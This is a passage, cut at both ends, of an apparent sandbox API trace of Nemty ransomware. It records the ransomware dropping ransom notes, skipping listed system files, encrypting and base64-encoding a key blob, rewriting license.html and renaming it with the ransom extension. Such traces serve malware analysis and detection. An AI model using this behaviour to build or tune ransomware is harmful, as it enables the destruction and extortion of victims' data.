lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SKY", lpUsedDefaultChar=0x0) returned 3 [0173.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.174] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.174] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.174] CloseHandle (hObject=0x254) returned 1 [0173.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.176] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.176] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.177] CloseHandle (hObject=0x254) returned 1 [0173.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.177] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1adb6330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1adb6330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.177] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.177] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1adb6330, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1adb6330, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.177] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.177] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.177] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.177] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.178] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.178] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.178] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.178] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.178] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.179] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.180] Sleep (dwMilliseconds=0x5) [0173.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ae025f0, dwHighDateTime=0x1d561e8)) [0173.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ae025f0, dwHighDateTime=0x1d561e8)) [0173.189] GetLastError () returned 0xb7 [0173.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.189] GetLastError () returned 0xb7 [0173.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.189] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.189] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.189] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.189] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="O+fWKJ/kkD5/upxeNtsJtZeOTiWGWWdRVBYMJr8ZnK/gl2WL/VTXnyf7eYq9CXwh\r\no24l3PMckijDYkE8ZGMpKhLye2dqiuSvIw5sz+BpAlrcehd222CdVXGhOt1JNimx\r\nGENfAFl2ZaMwCr8g2IyzdsYkIXnyjxDhiMQSJ3+V+mqDJyvZe6nmrw9EyTETqnUR\r\niegXPBwomAgHJP08aMpI3BCbw1dgHNPd/FNjL0A4rrtSHrZxiqU6uIHKLQTc0whB\r\nEAWyYT1MdbUd9UUOm1weKpxSA+L25gdkQHwitTVESI5xXibXwNV+062izmYgQsyA\r\nHUC5von4iseFaz9Jy3ZNkg==\r\n", pcchString=0x653e5dc) returned 1 [0173.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.190] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=68921) returned 1 [0173.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10d30) returned 0x6352c48 [0173.190] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.190] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10d30, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10d30, lpOverlapped=0x0) returned 1 [0173.204] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.204] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10d30, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10d30, lpOverlapped=0x0) returned 1 [0173.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.204] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=68921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10d39 [0173.204] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.204] CloseHandle (hObject=0x3b0) returned 1 [0173.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.205] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html._nemty_kgobjgd_")) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.205] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: 